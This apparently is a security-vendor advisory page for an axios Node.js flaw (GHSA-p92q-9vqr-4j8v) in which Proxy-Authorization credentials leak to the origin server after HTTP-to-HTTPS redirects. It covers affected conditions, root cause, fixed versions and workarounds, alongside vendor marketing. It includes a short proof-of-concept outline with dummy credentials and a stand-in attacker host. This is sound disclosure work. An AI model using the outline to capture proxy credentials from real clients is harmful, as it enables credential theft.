Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

GHSA-p92q-9vqr-4j8v

GHSA-p92q-9vqr-4j8v is a CWE-201 vulnerability in axios. O3 Security confirms whether GHSA-p92q-9vqr-4j8v is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Axios: Proxy-Authorization Credential Leak to Origin Server Across HTTP-to-HTTPS Redirect in Axios Node.js HTTP Adapter

Also known asCVE-2026-44487
Published
Jun 4, 2026
Updated
Jun 12, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed
Exploitation data as of Jun 12, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Real-World Exposure

2 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, a proxy for how much of the ecosystem is exposed.

axiosnpm
117.9Mdownloads / week

Description

Summary

Axios’s Node.js HTTP adapter may forward a Proxy-Authorization header to a redirected origin during specific proxy-to-direct redirect flows.

This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy.

Impact

A malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required conditions are present.

The leak is limited to Node.js HTTP adapter requests. Browser, XHR, fetch, and React Native adapter paths are not affected by this Node-specific proxy handling path.

The practical impact depends on the leaked credentials. If the credential is reusable and the proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy, subject to the proxy’s own network exposure, authorisation policy, and credential scope.

Affected Functionality

Affected functionality requires all of the following:

  • Axios running in Node.js with the HTTP adapter.
  • An initial http:// request using an authenticated proxy from config.proxy or proxy environment variables.
  • Redirect following enabled.
  • A redirect target for which no proxy applies, such as no matching HTTPS_PROXY or a matching NO_PROXY.
  • A redirect shape treated as same-host or otherwise not stripped by the redirect layer’s confidential-header handling.

Unaffected functionality includes browser adapters, requests with maxRedirects: 0, requests without proxy credentials, and redirect flows where the redirect layer strips Proxy-Authorization before axios reconfigures the redirected request.

Technical Details

In affected versions, lib/adapters/http.js adds Proxy-Authorization in setProxy() when a proxy with credentials is used.

Axios also installs redirect proxy handling so redirected requests can re-run proxy resolution. Before the fix, when the redirected request no longer resolved to a proxy, setProxy() did not clear a Proxy-Authorization header inherited from the previous request options. If follow-redirects did not remove that header for the specific redirect shape, the redirected direct request carried the stale proxy credential to the origin.

The 1.x fix in commit afca61a changes setProxy(options, configProxy, location, isRedirect) so redirect re-invocation removes every case variant of Proxy-Authorization before applying proxy settings for the next hop. Regression tests in tests/unit/adapters/http.test.js cover no-proxy redirects, NO_PROXY, different proxy targets, casing variants, and an end-to-end redirect flow.

The 0.x fixed release 0.32.0 includes a backport-style removeProxyAuthorization() guard in lib/adapters/http.js.

Proof of Concept of Attack

Safe local outline using dummy credentials:

process.env.HTTP_PROXY = 'http://user:[email protected]:8080';
delete process.env.HTTPS_PROXY;

// The local HTTP proxy receives this request and returns:
// HTTP/1.1 302 Found
// Location: https://attacker.test/final
await axios.get('http://attacker.test/start');

Expected vulnerable behaviour:

Proxy receives initial request:
Proxy-Authorization: Basic dXNlcjpwYXNz

Final HTTPS origin receives redirected request:
Proxy-Authorization: Basic dXNlcjpwYXNz

Expected fixed behaviour:

Final HTTPS origin receives no Proxy-Authorization header.

Workarounds

Set maxRedirects: 0 and handle redirects manually, ensuring Proxy-Authorization is not copied to requests that are not sent through the proxy.

Avoid using reusable authenticated HTTP proxy credentials for requests to untrusted origins. If exposure is suspected, rotate the proxy credential.

<details> <summary>Original Source</summary>

Summary

Axios’s Node.js http adapter can incorrectly forward a retained Proxy-Authorization header to the final HTTPS origin during certain HTTP-to-HTTPS redirect flows.

When an initial HTTP request is sent through an authenticated HTTP_PROXY, and the redirected HTTPS request is sent directly because no proxy applies to the redirected HTTPS URL, Axios retains the stale Proxy-Authorization header and forwards it to the final origin.

Details

The issue occurs during a proxy-to-direct transition across redirects.

When Axios sends an initial HTTP request through an authenticated HTTP_PROXY, it correctly includes Proxy-Authorization for the proxy hop. If that response redirects to an HTTPS URL on the same hostname, and no proxy applies to the redirected HTTPS URL, the redirected request is sent directly to the final origin instead of through the proxy.

In the affected flow, the final HTTPS origin receives a Proxy-Authorization header value that was intended only for the outbound proxy.

Whether the issue is observable depends on how the redirect layer compares the host and port across the redirect. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent.

Root Cause Analysis

Based on code review, Axios appears to create the stale header condition in its Node.js http adapter.

In lib/adapters/http.js:

  • When a proxy is used, Axios adds Proxy-Authorization in setProxy().
  • Axios also re-runs proxy resolution after redirects via its redirect hook.
  • However, when the redirected request no longer uses a proxy, Axios does not explicitly clear a previously set Proxy-Authorization header.

As a result, Axios correctly adds proxy credentials for the first proxied request, but does not clear them when a later redirected request becomes direct.

A dependent factor is the behavior of the redirect layer. In the affected redirect shape, confidential-header handling does not remove the retained Proxy-Authorization header before the redirected request is sent. This appears to be why the issue is observable only for certain redirect shapes.

Client Conditions

  • the initial HTTP request uses an authenticated HTTP_PROXY
  • no proxy applies to the redirected HTTPS URL (for example, no HTTPS_PROXY is configured)
  • redirects are followed
  • the redirect is treated as same-host by the redirect layer

Under that redirect shape, the retained Proxy-Authorization header is not removed before the redirected request is sent to the final HTTPS origin.

Reproduction Outline

Detailed reproduction instructions were shared with the maintainers during coordinated disclosure. The public outline below preserves the validated configuration and observable behavior needed to assess exposure, while omitting environment-specific test-harness details.

The issue was reproduced only in a researcher-controlled local test environment using dummy proxy credentials.

The issue was confirmed under the following conditions:

  • axios 1.13.6
  • follow-redirects 1.15.11
  • an authenticated proxy applying to the initial HTTP request
  • no proxy applying to the redirected HTTPS URL
  • redirects enabled
  • an HTTP-to-HTTPS redirect that is treated as same-host by the redirect layer

Observed behavior

  • The initial HTTP request is sent through the proxy and includes Proxy-Authorization.
  • The redirected HTTPS request is sent directly to the final origin.
  • The redirected HTTPS request still includes the previously generated Proxy-Authorization header.
  • The final origin can receive a Proxy-Authorization header value that was intended only for the proxy.

Expected behavior

Axios should not send the Proxy-Authorization header on a redirected request that is no longer sent through a proxy.

Impact

Under the affected redirect and proxy configuration, the final HTTPS origin may receive a retained Proxy-Authorization header value that was intended only for the outbound proxy.

If that credential is valid and reusable, and the outbound proxy is reachable by the attacker, the attacker may be able to authenticate to that proxy with the affected environment’s proxy credential, subject to the credential’s scope and the proxy’s access controls.

</details>

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
📦npmaxios1.0.0&&< 1.16.01.16.0
📦npmaxiosall versions0.32.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for axios. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update axios to 1.16.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-p92q-9vqr-4j8v is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-p92q-9vqr-4j8v is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-p92q-9vqr-4j8v. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary Axios’s Node.js HTTP adapter may forward a `Proxy-Authorization` header to a redirected origin during specific proxy-to-direct redirect flows. This affects Node.js usage, where an initial HTTP request is sent through an authenticated HTTP proxy, redirects are followed, and the redirected URL is no longer proxied. Under affected redirect shapes, the final origin can receive the proxy credential that was intended only for the outbound proxy. ## Impact A malicious or attacker-controlled origin can cause an axios client to disclose its configured proxy credentials if all required co
O3 Security · Impact-Aware SCA

Is GHSA-p92q-9vqr-4j8v in your dependencies?

O3 detects GHSA-p92q-9vqr-4j8v across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-p92q-9vqr-4j8v: axios | O3 Security